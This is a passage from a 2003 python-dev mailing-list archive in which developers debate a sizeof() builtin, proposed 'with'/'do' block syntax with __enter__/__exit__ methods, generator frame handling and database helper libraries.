Python objects, but that's about it. There's no clear way to know how much overhead is due to pymalloc "per object", and no way at all to know how much overhead is imposed by the system malloc, or by the OS. Continuing Jeremy's example: How much memory does an empty Python dict consume? It's certain that *some* empty dicts grab at least 256KB from the system malloc, because that's the minimum chunk size pymalloc uses for its object arenas. Telling a user that the unlucky empty dict triggering a new arena allocation consumed some 128 bytes is a factor of 2000 off from what was actually gotten from the C library. There are many layers of memory, and we have a poor handle on most of them even in CPython. In a debug Python build, setting the envar PYTHONMALLOCSTATS displays a lot of detail about pymalloc's memory use, but that's only part of the story. Implement the Jython sizeof() to always return 8, and who'd know the difference . From pyth@devel.trillke.net Mon Feb 3 08:59:08 2003 From: pyth@devel.trillke.net (holger krekel) Date: Mon, 3 Feb 2003 09:59:08 +0100 Subject: [Python-Dev] Extended Function syntax In-Reply-To: ; from tim.one@comcast.net on Sun, Feb 02, 2003 at 09:48:45PM -0500 References: <200302021934.h12JYFQ14810@pcp02138704pcs.reston01.va.comcast.net> Message-ID: <20030203095908.Z10804@prim.han.de> Tim Peters wrote: > [Guido] > > ... > > I think that for synchronized-like cases, even if it is known at > > compile time that it is to be part of the surrounding scope, the code > > generated will still need to use nested-scope-cells, since it will be > > invoked on a different stack frame: the "thunk processor" pushes its > > own frame on the stack, and I think you can't have something that > > executes in a frame that's not the topmost frame. (Or can you? I > > don't know exactly what generators can get away with.) > > "resumable function" captures almost all salient aspects of the Python > generator implementation. Generator resumption acts like a method call to > the resumer (generator_iterator.next(), whether explicit or implicit), and > yielding acts *almost* like a function return to the generator (the > generator's stack frame is popped just as for a function return; the primary > difference is just that the frame's refcount isn't decremented). What do you mean with "generator's stack frame is popped"? I interpreted this code in ceval.c if (why != WHY_YIELD) { /* Pop remaining stack entries -- but when yielding */ while (!EMPTY()) { v = POP(); Py_XDECREF(v); } } to mean the frame is suspended with a preserved stack. f_stacktop/last_i later are used to resume. holger From mal@lemburg.com Mon Feb 3 09:16:11 2003 From: mal@lemburg.com (M.-A. Lemburg) Date: Mon, 03 Feb 2003 10:16:11 +0100 Subject: [Python-Dev] PEP 42: sizeof(obj) builtin In-Reply-To: References: Message-ID: <3E3E335B.9060708@lemburg.com> Tim Peters wrote: > [Samuele Pedroni, on sizeof()] > >>it is very unlikely that we can implement this in Jython, > > > I'm sure that you could, but no better than CPython: return a lower bound > that may or may not be within a factor of 1000 of reality. CPython could do > C sizeof() on Python objects, but that's about it. There's no clear way to > know how much overhead is due to pymalloc "per object", and no way at all to > know how much overhead is imposed by the system malloc, or by the OS. > > Continuing Jeremy's example: How much memory does an empty Python dict > consume? It's certain that *some* empty dicts grab at least 256KB from the > system malloc, because that's the minimum chunk size pymalloc uses for its > object arenas. Telling a user that the unlucky empty dict triggering a new > arena allocation consumed some 128 bytes is a factor of 2000 off from what > was actually gotten from the C library. That's not the point of sizeof(). In mxTools I implemented pretty much the same thing as C's sizeof(typestruct), nothing more. You can use sizeof() to estimate the memory usage of an object, but if you want knowledge about the process memory footprint you're better off with the OS APIs. > There are many layers of memory, and we have a poor handle on most of them > even in CPython. In a debug Python build, setting the envar > PYTHONMALLOCSTATS displays a lot of detail about pymalloc's memory use, but > that's only part of the story. > > Implement the Jython sizeof() to always return 8, and who'd know the > difference . Doesn't Java have some API which can be used to estimate the memory usage of an object ? -- Marc-Andre Lemburg CEO eGenix.com Software GmbH _______________________________________________________________________ eGenix.com -- Makers of the Python mx Extensions: mxDateTime,mxODBC,... Python Consulting: http://www.egenix.com/ Python Software: http://www.egenix.com/files/python/ From mal@lemburg.com Mon Feb 3 09:25:42 2003 From: mal@lemburg.com (M.-A. Lemburg) Date: Mon, 03 Feb 2003 10:25:42 +0100 Subject: [Python-Dev] Extended Function syntax (PEP time) In-Reply-To: <20030203095908.Z10804@prim.han.de> References: <200302021934.h12JYFQ14810@pcp02138704pcs.reston01.va.comcast.net> <20030203095908.Z10804@prim.han.de> Message-ID: <3E3E3596.3010900@lemburg.com> Given the length of this thread, could someone please distill this into one or more PEPs ?! Thanks, -- Marc-Andre Lemburg CEO eGenix.com Software GmbH _______________________________________________________________________ eGenix.com -- Makers of the Python mx Extensions: mxDateTime,mxODBC,... Python Consulting: http://www.egenix.com/ Python Software: http://www.egenix.com/files/python/ From Paul.Moore@atosorigin.com Mon Feb 3 09:50:52 2003 From: Paul.Moore@atosorigin.com (Moore, Paul) Date: Mon, 3 Feb 2003 09:50:52 -0000 Subject: [Python-Dev] Acquire/release functionality (Was: Extended Function syntax) Message-ID: <16E1010E4581B049ABC51D4975CEDB886199C8@UKDCX001.uk.int.atosorigin.com> From: Alex Martelli [mailto:aleax@aleax.it] > On Sunday 02 February 2003 10:49 pm, Paul Moore wrote: ... > > > which I've been referring to as acquire/release. The only > > property-like cases I'm aware of are properties themselves. > > Wouldn't classmethods and staticmethods also be able to exploit (in > a simpler way) the syntax/semantics used for properties? That's the > impression I had. Classmethods and staticmethods are already covered by the patch to allow def myfn(f) [staticmethod]: ... I don't see any value in looking further than this, as I think that this syntax is clean, extensible, and understandable. > I do like your "unified proposal" for the "with" case (I have no idea > if "with" is the pluperfectly right sugar for this, btw -- no biggie > anyway, i think). > > > the exception should be propogated. The problem is that I'm not sure > > what is the best way for an __except__ method to signal that it > > caught the exception. > > Maybe the return value of __except__ should be evaluated in a boolean > context encoding this? False -> exception not caught, True -> caught > ... > > So, an __except__ without return statements (implicitly returning > None, thus false) would be a clean-up thingy that does no catching > (but e.g. just rollbacks some DB transactions or whatever), for > example -- a "return True" would explicitly signal the exception was > caught -- etc. Yes, that sounds exactly right - thanks! This was one of the options I was thinking about, but I hadn't convinced myself that an __except__ with no return did something which felt right. But your explanation convinces me. Paul. From Paul.Moore@atosorigin.com Mon Feb 3 09:59:59 2003 From: Paul.Moore@atosorigin.com (Moore, Paul) Date: Mon, 3 Feb 2003 09:59:59 -0000 Subject: [Python-Dev] Extended Function syntax Message-ID: <16E1010E4581B049ABC51D4975CEDB886199C9@UKDCX001.uk.int.atosorigin.com> From: Alex Martelli [mailto:aleax@aleax.it] > On Sunday 02 February 2003 11:07 pm, Brett Cannon wrote: ... > > > Now if ``__exit__()`` would be executed regardless of exceptions > > this would probably eliminate a decent chunk of code that uses > > ``finally:`` > > Hmmm, yes, I _was_ sort of assuming that __exit__ runs much like > 'finally' would -- otherwise cleanup/release code would more often > than not have to be duplicated. I don't think there's much point to new syntax if __exit__ *doesn't* run even in the face of exceptions. To my mind, that's the whole point of the construct - guaranteed cleanup. > > Either way this seems rather nice. And if you can pass in arguments > > (as I think ``FILE =3D file('blah.txt', 'rb'): (some_argument):`` is > > supposed to implement) this would be really nice. =3D) > > I think THAT is the complicated part of the "do" syntax -- that > trailing "(whatever):" that I don't understand. What would its pluses > be? Where would that 'whatever' be directed to...? Could you please > provide a use case for with + "(some_argument):" ...? Having just seen Samuele's examples, I notice that he uses the trailing argument. And I still don't understand it :-( There's no way I can see the "do" syntax as even remotely natural for the example of a file autoclose (and by inference, any reasonably common cleanup requirement). Is there any additional advantage to the "do" syntax that isn't shared = by the "with" syntax? A full example like the autoclose one would help enormously! Paul From mwh@python.net Mon Feb 3 10:44:44 2003 From: mwh@python.net (Michael Hudson) Date: Mon, 03 Feb 2003 10:44:44 +0000 Subject: [Python-Dev] Extended Function syntax In-Reply-To: (Brett Cannon's message of "Sun, 2 Feb 2003 14:07:38 -0800 (PST)") References: <200301302225.h0UMP4T01502@oma.cosc.canterbury.ac.nz> <061701c2cafb$2387ce60$6d94fea9@newmexico> <200302022250.37389.aleax@aleax.it> Message-ID: <2mlm0xr6cj.fsf@starship.python.net> Brett Cannon writes: > Now if ``__exit__()`` would be executed regardless of exceptions this > would probably eliminate a decent chunk of code that uses ``finally:`` > such as:: That was the major point of the proposal. Holger has a Friendly Competing Proposal that I think allows the "monitor" (i.e. the thing with the __enter__ and __exit__ methods) to distinguish between normal and exceptional return. I thought that was a bit overcomplicated. Cheers, M. -- [1] If you're lost in the woods, just bury some fibre in the ground carrying data. Fairly soon a JCB will be along to cut it for you - follow the JCB back to civilsation/hitch a lift. -- Simon Burr, cam.misc From mwh@python.net Mon Feb 3 10:49:15 2003 From: mwh@python.net (Michael Hudson) Date: Mon, 03 Feb 2003 10:49:15 +0000 Subject: [Python-Dev] Weekly Python Bug/Patch Summary In-Reply-To: <200302021300.h12D0ZRd015670@manatee.mojam.com> (Skip Montanaro's message of "Sun, 2 Feb 2003 07:00:35 -0600") References: <200302021300.h12D0ZRd015670@manatee.mojam.com> Message-ID: <2misw1r650.fsf@starship.python.net> Skip Montanaro writes: > Bug/Patch Summary > ----------------- > > 350 open / 3282 total bugs (+14) > 123 open / 1944 total patches (+16) Oh dear. How about saying that each post to python-dev about syntax must be accompanied by action towards closing out at least one bug or patch? :) Cheers, M. -- I'm not particularly fond of singing GSTQ because she stands for some things I don't, but it's not really worth letting politics getting in the way of a good bawling. -- Dan Sheppard, ucam.chat From tismer@tismer.com Mon Feb 3 11:00:55 2003 From: tismer@tismer.com (Christian Tismer) Date: Mon, 03 Feb 2003 12:00:55 +0100 Subject: [Python-Dev] Re: native code compiler? (or, OCaml vs. Python) In-Reply-To: References: <20030130211504.810.qmail@web10302.mail.yahoo.com> <007301c2c8bb$7d022f90$ced241d5@hagrid> Message-ID: <3E3E4BE7.7000303@tismer.com> Dan Sugalski wrote: ... > If you want to bet, I'll put up $10 and a round of beer (or other > beverage of your choice) at OSCON 2004 for all the python labs & zope > folks that says parrot beats the current python interpreter when running > all the python benchmark suite programs (that don't depend on extensions > written in C, since we're shooting for pure engine performance) from > bytecode. Game? Do you mean the current Python interpreter of 2004? That could be quite a different beast... ciao - chris From pedronis@bluewin.ch Mon Feb 3 11:24:09 2003 From: pedronis@bluewin.ch (Samuele Pedroni) Date: Mon, 3 Feb 2003 12:24:09 +0100 Subject: [Python-Dev] PEP 42: sizeof(obj) builtin References: <3E3E335B.9060708@lemburg.com> Message-ID: <002701c2cb76$c564eb20$6d94fea9@newmexico> From: "M.-A. Lemburg" > Doesn't Java have some API which can be used to estimate the > memory usage of an object ? > nope From mwh@python.net Mon Feb 3 11:44:44 2003 From: mwh@python.net (Michael Hudson) Date: Mon, 03 Feb 2003 11:44:44 +0000 Subject: [Python-Dev] python-dev Summary for 2003-01-16 through 2003-01-31 In-Reply-To: <3E3CAE08.2080600@tismer.com> (Christian Tismer's message of "Sun, 02 Feb 2003 06:35:04 +0100") References: <3E3CAE08.2080600@tismer.com> Message-ID: <2md6m9r3kj.fsf@starship.python.net> Christian Tismer writes: > Brett Cannon wrote: >> Well, my brain didn't pop from the extended syntax thread, so I am happy. >> =) Why did you guys have to have such a major discussion at the end of >> the month (and have an explosion of big emails right at the end no less!)? >> And of course I decide to try to introduce something new in this summary >> that upped my workload. Lucky me. =) OK, enough complaining (oh wait, I >> don't get paid for this; I guess I can complain =). > > Please, complain more. If you were employed, you > should ask for compensation for pain and suffering. > > I have not followed this thread (happy me + unlucky me.) > And I don't intend to write a summary (lucky me.) > > After trying to follow it partially and failing > completely, I'm asking if there is an alternate > way of discussing such matters? I do hope that at least a few PEPs should appear out of the current mailstorm. Hmm, I should probably write one of them... I'm kind of assuming that things will settle down and there will be a chance for a collective drawing of breath and oppourtunity to reflect on the ideas of the last few days. But I don't think you can force the rhythm of these things, and posting gripes about it is at best counter-productive. > There is no way of reading this thread for me. > I cannot get it into any shape, since I haven't > followed it online. This will be a similar > problem for anybody who tries to read it after > the fact, like me (with similar incapabilities). I don't understand. It's a huge, sprawling thread but I don't see what's *so* hard about following it. If you don't have time, don't bother: read the summaries and the PEPs. > worst-python-dev-experience-I-ever-had -- chris But you were on types-sig in December '99? That was worse and almost exactly nothing ever came of it. Cheers, M. -- Imagine if every Thursday your shoes exploded if you tied them the usual way. This happens to us all the time with computers, and nobody thinks of complaining. -- Jeff Raskin From Paul.Moore@atosorigin.com Mon Feb 3 11:44:49 2003 From: Paul.Moore@atosorigin.com (Moore, Paul) Date: Mon, 3 Feb 2003 11:44:49 -0000 Subject: [Python-Dev] Extended Function syntax (PEP time) Message-ID: <16E1010E4581B049ABC51D4975CEDB886199CA@UKDCX001.uk.int.atosorigin.com> From: M.-A. Lemburg [mailto:mal@lemburg.com] > Given the length of this thread, could someone please distill > this into one or more PEPs ?! I'm willing to make a stab at a PEP on the "with" syntax. I can't offer any implementation effort, sorry. I'll hash something up over the next few days. I'd suggest someone write a PEP on the def ... [expr] syntax, too. I don't want to end up juggling 2 PEPs, so I'd rather someone else did this. I can't see enough clarity in the various versions of the thunk proposals to make a decent PEP yet. But I'd love someone to prove me wrong :-) [AFAICT, the thunk discussions are still in flux in both syntax and semantics, to there's little definite to write down]. I don't think there are any other concrete offerings on the table. Paul. From walter@livinglogic.de Mon Feb 3 11:47:28 2003 From: walter@livinglogic.de (=?ISO-8859-1?Q?Walter_D=F6rwald?=) Date: Mon, 03 Feb 2003 12:47:28 +0100 Subject: [Python-Dev] Acquire/release functionality (Was: Extended Function syntax) In-Reply-To: References: <200301302225.h0UMP4T01502@oma.cosc.canterbury.ac.nz> <200301310202.h0V22NX30451@pcp02138704pcs.reston01.va.comcast.net> <20030201173108.0F9AD2223@bespin.org> <200302011829.h11ITCJ02328@pcp02138704pcs.reston01.va.comcast.net> <049701c2ca2a$89d0e0c0$6d94fea9@newmexico> <200302012002.h11K2pQ03620@pcp02138704pcs.reston01.va.comcast.net> <059501c2ca31$d6581420$6d94fea9@newmexico> <065d01c2ca3b$185ca080$6d94fea9@newmexico> <200302021352.h12DqXR13911@pcp02138704pcs.reston01.va.comcast.net> <002301c2cad4$714acc00$6d94fea9@newmexico> <200302021934.h12JYFQ14810@pcp02138704pcs.reston01.va.comcast.net> Message-ID: <3E3E56D0.7000200@livinglogic.de> Paul Moore wrote: > Guido van Rossum writes: > > >>I'm now wondering if there aren't really only two interesting cases, >>none of which require saving the thunk and calling it later: >> >>- synchronized-like, where the block should connect to its environment >> >>- property-like, where the block should introduce a new scope, and the >> caller should be able to inspect or control that scope's namespace > > > I certainly haven't seen any use cases other than these two. In fact, > pretty much all of the cases I am aware of are synchronised-like, > which I've been referring to as acquire/release. The only > property-like cases I'm aware of are properties themselves. A use case I can think of is some kind of XML DOM API (Ruby does something like that with it's cgi module, where node content is created inside a block). With the current Python you can have something like that: node = html.table( html.tr( html.th("foo"), html.td("bar") ), html.tr( html.th("spam"), html.td("eggs") ), border=0, cellpadding=3 ) i.e. element classes that use * and ** arguments in their constructor to collect content and attribute nodes. The problem with this approach is, that the attributes are maximally separated from their element and that control structures (like if) are not possible inside the constructor. With blocks ifs and fors could look like this: node = html.table(border=0, cellpadding=0): html.tr(): html.th(): "foo" html.td(): "bar" if cond: html.tr(): html.th(): "spam" html.td(): "eggs" for i in xrange(10): html.tr(): html.th(): i html.td(): i*i Bye, Walter Dörwald From bh@intevation.de Mon Feb 3 11:50:20 2003 From: bh@intevation.de (Bernhard Herzog) Date: 03 Feb 2003 12:50:20 +0100 Subject: [Python-Dev] Extended Function syntax In-Reply-To: <200302022035.03264.aleax@aleax.it> References: <200301302225.h0UMP4T01502@oma.cosc.canterbury.ac.nz> <002301c2cad4$714acc00$6d94fea9@newmexico> <047b01c2caf0$3bd0d9e0$6d94fea9@newmexico> <200302022035.03264.aleax@aleax.it> Message-ID: <6qel6ppoqr.fsf@salmakis.intevation.de> Alex Martelli writes: > be helpful too? Meaning to use local variable in lieu of > the abstract _x -- for example in order to enable: > > with myfile = auto_closing_file('blah.txt', 'rb'): > xx = myfile.read(23) > # rest of suite snipped > > where auto_closing_file is a subclass of file defining useful __enter__ > (empty -- might be nice to have it optional...) and __exit__ = close > synonyms (or file itself might grow __exit__ as a synonym for close). > > How would I do this elegantly without the assignment...? Just as you do with if: myfile = auto_closing_file('blah.txt', 'rb') with myfile: xx = myfile.read(23) # rest of suite snipped Maybe not quite as elegant as allowing assignment in with but very similar to the normal try...final version: myfile = auto_closing_file('blah.txt', 'rb') try: xx = myfile.read(23) # rest of suite snipped finally: myfile.close() Bernhard -- Intevation GmbH http://intevation.de/ Sketch http://sketch.sourceforge.net/ MapIt! http://www.mapit.de/ From bh@intevation.de Mon Feb 3 11:52:17 2003 From: bh@intevation.de (Bernhard Herzog) Date: 03 Feb 2003 12:52:17 +0100 Subject: [Python-Dev] Acquire/release functionality (Was: Extended Function syntax) In-Reply-To: <200302022301.32708.aleax@aleax.it> References: <200301302225.h0UMP4T01502@oma.cosc.canterbury.ac.nz> <200302021934.h12JYFQ14810@pcp02138704pcs.reston01.va.comcast.net> <200302022301.32708.aleax@aleax.it> Message-ID: <6qbs1tponi.fsf@salmakis.intevation.de> Alex Martelli writes: > > the exception should be propogated. The problem is that I'm not sure > > what is the best way for an __except__ method to signal that it caught > > the exception. > > Maybe the return value of __except__ should be evaluated in a boolean > context encoding this? False -> exception not caught, True -> caught ... __except__ could just reraise the exception if it doesn't handle it. This behavior would be similar to that of a normal except clause. Bernhard -- Intevation GmbH http://intevation.de/ Sketch http://sketch.sourceforge.net/ MapIt! http://www.mapit.de/ From Paul.Moore@atosorigin.com Mon Feb 3 11:54:41 2003 From: Paul.Moore@atosorigin.com (Moore, Paul) Date: Mon, 3 Feb 2003 11:54:41 -0000 Subject: [Python-Dev] Acquire/release functionality (Was: Extended Functionsyntax) Message-ID: <16E1010E4581B049ABC51D4975CEDB880113D8BB@UKDCX001.uk.int.atosorigin.com> From: Walter D=F6rwald [mailto:walter@livinglogic.de] > A use case I can think of is some kind of XML DOM API (Ruby > does something like that with it's cgi module, where node > content is created inside a block). [...] OK, I see this. I don't personally have much of a need for it, but that's beside the point. The proposed with syntax isn't going to cover this (obviously), so I'd suggest that the discussion on thunks concentrate on how they might handle the two cases of properties and this XML use. At least, that's what I'd like to see in order to get a better idea of how the thunk discussion is heading :-) Paul. From bh@intevation.de Mon Feb 3 11:58:12 2003 From: bh@intevation.de (Bernhard Herzog) Date: 03 Feb 2003 12:58:12 +0100 Subject: [Python-Dev] Acquire/release functionality (Was: Extended Function syntax) In-Reply-To: References: <200301302225.h0UMP4T01502@oma.cosc.canterbury.ac.nz> <200301310202.h0V22NX30451@pcp02138704pcs.reston01.va.comcast.net> <20030201173108.0F9AD2223@bespin.org> <200302011829.h11ITCJ02328@pcp02138704pcs.reston01.va.comcast.net> <049701c2ca2a$89d0e0c0$6d94fea9@newmexico> <200302012002.h11K2pQ03620@pcp02138704pcs.reston01.va.comcast.net> <059501c2ca31$d6581420$6d94fea9@newmexico> <065d01c2ca3b$185ca080$6d94fea9@newmexico> <200302021352.h12DqXR13911@pcp02138704pcs.reston01.va.comcast.net> <002301c2cad4$714acc00$6d94fea9@newmexico> <200302021934.h12JYFQ14810@pcp02138704pcs.reston01.va.comcast.net> Message-ID: <6q7kchpodn.fsf@salmakis.intevation.de> Paul Moore writes: > So, to offer a unified proposal, I'd suggest the following syntax: > > with [ var1 [, var2, ... ] = ] expr1 [, expr2 , ... ]: > suite > > This is equivalent to > > var1, var2, ... = expr1, expr2, ... > > if hasattr(var1, "__enter__"): > var1.__enter__() > if hasattr(var2, "__enter__"): > var2.__enter__() > ... > > try: > try: > suite > > except: > # Handwave here for now > > finally: > ... > var2.__exit__() > var1.__exit__() IMO if you want multiple controllers for a with statement you should just nest the withs: with var1 = expr1: with var2 = expr2: suite This makes the order in which the methods of the varN will be called obvious. > In this, any varN can be omitted and a dummy hidden variable is > used. Meaning something like with var1, , var3 = expr1, expr2, expr3: suite I guess. Urgs. You can't normally omit assignment targets on the left hand side of a sequence unpacking in python. I don't see why this should be allowed for with. Nested withs handle this in a cleaner way as well, IMO. Bernhard -- Intevation GmbH http://intevation.de/ Sketch http://sketch.sourceforge.net/ MapIt! http://www.mapit.de/ From pedronis@bluewin.ch Mon Feb 3 12:05:09 2003 From: pedronis@bluewin.ch (Samuele Pedroni) Date: Mon, 3 Feb 2003 13:05:09 +0100 Subject: [Python-Dev] Extended Function syntax References: <200302030056.h130uDW23921@oma.cosc.canterbury.ac.nz> <200302030202.h1322qg15913@pcp02138704pcs.reston01.va.comcast.net> Message-ID: <005e01c2cb7c$7fee44a0$6d94fea9@newmexico> From: "Guido van Rossum" > > > with myfile = auto_closing_file('blah.txt', 'rb'): > > > for line in myfile: > > > ... > > > > > > With Guido's 'do', you could define an iterclose(): > > > > > > do iterclose(open('blah.txt','rb')): (line): > > > ... > > > > > > Btw, the two snippets illustrate quite well the different > > > evolutive directions' on the table. > > > > I must say that, for this particular usage at least, I find > > the first one a darn sight easier to follow than the second! > > I think 'do' is being misrepresented, OK, to be even more fair, obviously do can be used to implement with class with: def __init__(self,wobj): self.wobj = wobj def __call__(self,thunk): if hasattr(wobj,'__enter__'): wobj.__enter__() try: thunk(wobj) finally: wobj.__exit__() do with(auto_closing_file('blah.txt', 'rb')): (myfile): # bad that is not meaningful: do myfile=with(...): for line in myfile: ... FURTHER 'do' is more expressive than generators because it allows to capture and abstract 'try' patterns very generally, more than 'with'. >and I also doubt that this is a > very practical example. Yes and no. What would be typical is people abstracting over recurrent pattern of 'for' and 'try' in their program and stuff them in a 'do' behavior, I'm inferring this from what people do with CL macros. So if one does what iterclose does a bunch of times in program, she could be tempted to write iterclose. It's succinctness daemon. General mileage can vary. > But I may have to wait until the next weekend > before I can continue in this thread -- I can't work on this on > workdays. OK From pedronis@bluewin.ch Mon Feb 3 12:09:05 2003 From: pedronis@bluewin.ch (Samuele Pedroni) Date: Mon, 3 Feb 2003 13:09:05 +0100 Subject: [Python-Dev] Acquire/release functionality (Was: Extended Function syntax) References: <200301302225.h0UMP4T01502@oma.cosc.canterbury.ac.nz><200301310202.h0V22NX30451@pcp02138704pcs.reston01.va.comcast.net><20030201173108.0F9AD2223@bespin.org><200302011829.h11ITCJ02328@pcp02138704pcs.reston01.va.comcast.net><049701c2ca2a$89d0e0c0$6d94fea9@newmexico><200302012002.h11K2pQ03620@pcp02138704pcs.reston01.va.comcast.net><059501c2ca31$d6581420$6d94fea9@newmexico><065d01c2ca3b$185ca080$6d94fea9@newmexico><200302021352.h12DqXR13911@pcp02138704pcs.reston01.va.comcast.net><002301c2cad4$714acc00$6d94fea9@newmexico><200302021934.h12JYFQ14810@pcp02138704pcs.reston01.va.comcast.net> <6q7kchpodn.fsf@salmakis.intevation.de> Message-ID: <007401c2cb7d$0c58ec60$6d94fea9@newmexico> From: "Bernhard Herzog" > I guess. Urgs. You can't normally omit assignment targets on the left > hand side of a sequence unpacking in python. I don't see why this should > be allowed for with. Nested withs handle this in a cleaner way as well, > IMO. > I agree one 'with', [at most] one var is better. From mwh@python.net Mon Feb 3 12:12:01 2003 From: mwh@python.net (Michael Hudson) Date: Mon, 03 Feb 2003 12:12:01 +0000 Subject: [Python-Dev] Acquire/release functionality In-Reply-To: (Paul Moore's message of "Sun, 02 Feb 2003 21:49:31 +0000") References: <200301302225.h0UMP4T01502@oma.cosc.canterbury.ac.nz> <200301310202.h0V22NX30451@pcp02138704pcs.reston01.va.comcast.net> <20030201173108.0F9AD2223@bespin.org> <200302011829.h11ITCJ02328@pcp02138704pcs.reston01.va.comcast.net> <049701c2ca2a$89d0e0c0$6d94fea9@newmexico> <200302012002.h11K2pQ03620@pcp02138704pcs.reston01.va.comcast.net> <059501c2ca31$d6581420$6d94fea9@newmexico> <065d01c2ca3b$185ca080$6d94fea9@newmexico> <200302021352.h12DqXR13911@pcp02138704pcs.reston01.va.comcast.net> <002301c2cad4$714acc00$6d94fea9@newmexico> <200302021934.h12JYFQ14810@pcp02138704pcs.reston01.va.comcast.net> Message-ID: <2madhdr2b2.fsf@starship.python.net> Paul Moore writes: > As far as the acquire/release case is concerned, I think that there is > definitely a strong case for syntactic support for this. The > equivalent idiom in C++ is "resource acquisition is initialisation" > which, while not having syntax support, does rely on the existence of > deterministic destructors, and on the ability to introduce a new scope > at will. Python has neither of these, and the try...finally construct > is verbose enough to make something better worth having. I like this. > On the other hand, the simple "with" construct proposed by Samuele > >> with : >> >> >> would be possibly sugar for: > > [...] > >> _x = >> _x.__enter__() >> try: >> try: >> >> except getattr(_x,'__excepts__',()),_e: >> _x.__except__(_e) >> finally: >> _x.__exit__() > > extended as suggested by Alex to allow __enter__ to be optional and to > allow for an assignment in the with statement, seems to cover this > excellently. Making the methods optional seems reasonable but writing do-nothing methods isn't much of a strain. I don't care either way. > (I'm not sure the exception handling needs to be quite > that complex, but that's a minor point). I'm not at all sure. In fact, on thinking about it I feel it may be a bad idea. Examples of when __except__ might be different from __exit__ would be appreciated. [....] > So, to offer a unified proposal, I'd suggest the following syntax: > > with [ var1 [, var2, ... ] = ] expr1 [, expr2 , ... ]: > suite > > This is equivalent to > > var1, var2, ... = expr1, expr2, ... > > if hasattr(var1, "__enter__"): > var1.__enter__() > if hasattr(var2, "__enter__"): > var2.__enter__() > ... > > try: > try: > suite > > except: > # Handwave here for now > > finally: > ... > var2.__exit__() > var1.__exit__() I think this might be unnecessarily hard to compile. class multimonitor(object): def __init__(self, monitors): self.monitors = monitors def __enter__(self): for monitor in self.monitors: monitor.__enter__() def __exit__(self): for monitor in self.monitors: monitor.__exit__() It should probably be stated that an __exit__ method should never raise an exception. > In this, any varN can be omitted and a dummy hidden variable is > used. Persuading the parser to distinguish with foo(): and with var = foo(): is going to be tricky. I think we'll have to settle for one or the other. > The handwaving around the except clause needs to be clarified - what > I want is to call varN.__except__() ... var1.__except__() allowing > each in turn to catch the exception. This sort of problem is an argument for throwing away the except: clause. > The __except__ attribute should be optional, as well. I can't see any > reason why it would ever be useful for __exit__ to be optional, but > for generality it might be worth allowing that as well. Hmm. Maybe. Not fond of generality for the sake of it. > I like "with" as the keyword here. One obvious question - if we decide > to go with syntax like this, would we be looking at "pre-reserving" > the keyword in Python 2.3 somehow, so that it could become a full > keyword in 2.4? Or would the new syntax need a future statement in > Python 2.4, to become finalised in 2.5? I think nothing should change in 2.3. > PS Just to summarise things once more: as I see it, we now have a > number of threads lurking: > > - The def f(arg) [...] syntax that started all this off > - With blocks (which give us acquire/release) for which I propose a > unified solution above I'll write PEPs for these two in due course if noone beats me to it. > - Properties, which don't have a specific solution proposed yet > (AFAICT) > - Thunks in various forms, most notably Guido's hyper-general > version (the one that lets us implement switch) > > It's not at all clear to me that the thunk based solutions have > killer use cases that they solve better than anything else > (assuming that switch doesn't count :-)) but they may be aiming at > the property case. If so, I'd appreciate a concrete "this is how > we'd write a property" explanation, as I'm losing the plot on > that... Me too. Guido can do this PEP :-) [...] > I'll stop now before I feel a need to summarise the summary of my > summary :-) OK, I cheated with the sig :-) Cheers, M. -- To summarise the summary of the summary:- people are a problem. -- The Hitch-Hikers Guide to the Galaxy, Episode 12 From lkcl@samba-tng.org Mon Feb 3 12:21:32 2003 From: lkcl@samba-tng.org (Luke Kenneth Casson Leighton) Date: Mon, 3 Feb 2003 12:21:32 +0000 Subject: [DB-SIG] Re: [Python-Dev] database APIs In-Reply-To: <1044217837.11685.17.camel@lothlorien> References: <1044217837.11685.17.camel@lothlorien> Message-ID: <20030203122132.GO912@localhost> On Sun, Feb 02, 2003 at 02:30:37PM -0600, Ian Bicking wrote: > On Sun, 2003-02-02 at 09:51, Kevin Jacobs wrote: > > > also for some of the background please see the advogato article > > > http://advogato.org/article/600.html particularly the link to > > > jmg's code which contains some very simple to use but obscure > > > coding methods to wrap SQL databases in objects. > > > > We (my company) and many others have their own SQL generation and OR mapping > > implementations that are considerably more advanced. Some (like mine) are > > in the process of transitioning to an open source development model, while > > some are already freely available (see http://colorstudy.com/software/SQLObject > > for one released just last week). So maybe it is time for all of us to get > > together and put the Open Source "bazaar" to the test and see what comes out. > > There is a list of a number of such interfaces here: > http://www.python.org/cgi-bin/moinmoin/HigherLevelDatabaseProgramming > > If there's any missing I hope someone will extend them. Currently > listed are: > > DbObj > db_row > ll.sql > PgResultSet > MiddleKit > Object Relational Membrame > PyDo > SQLBuilder > SQLDict > SQLObject > > In various forms these address exactly what Luke was proposing. GREAT! example, the next application is a replacement for an extremely poorly written php app. it contains classes (base class a db class that does the db connection) the classes basically take a unique primary key, do a SELECT, record the row of info in the class instance as variables, then obviously it's possible to modify any of the variables, then there's a save() method. _all_ of this code has been hand-crafted! madness! take the SQL file, auto-generate the darn code, for pity's sake. i've been working some way towards this "ideal" goal. see http://sf.net/projects/pysqldb. more later, have a real-world application / customer to keep happy :) l. From lkcl@samba-tng.org Mon Feb 3 12:22:01 2003 From: lkcl@samba-tng.org (Luke Kenneth Casson Leighton) Date: Mon, 3 Feb 2003 12:22:01 +0000 Subject: [Python-Dev] database APIs In-Reply-To: References: <20030202142023.GI912@localhost> Message-ID: <20030203122201.GP912@localhost> On Sun, Feb 02, 2003 at 10:51:14AM -0500, Kevin Jacobs wrote: > On Sun, 2 Feb 2003, Luke Kenneth Casson Leighton wrote: > > has anyone considered doing database helper functions based > > off of the DB 2.0 api? > > Yes; though the conversation is best had on the DB-SIG mailing list. okay thx! will post there in future. From pyth@devel.trillke.net Mon Feb 3 12:24:13 2003 From: pyth@devel.trillke.net (holger krekel) Date: Mon, 3 Feb 2003 13:24:13 +0100 Subject: [Python-Dev] Acquire/release functionality (Was: Extended Function syntax) In-Reply-To: <6qbs1tponi.fsf@salmakis.intevation.de>; from bh@intevation.de on Mon, Feb 03, 2003 at 12:52:17PM +0100 References: <200301302225.h0UMP4T01502@oma.cosc.canterbury.ac.nz> <200302021934.h12JYFQ14810@pcp02138704pcs.reston01.va.comcast.net> <200302022301.32708.aleax@aleax.it> <6qbs1tponi.fsf@salmakis.intevation.de> Message-ID: <20030203132413.B10804@prim.han.de> Bernhard Herzog wrote: > Alex Martelli writes: > > > > the exception should be propogated. The problem is that I'm not sure > > > what is the best way for an __except__ method to signal that it caught > > > the exception. > > > > Maybe the return value of __except__ should be evaluated in a boolean > > context encoding this? False -> exception not 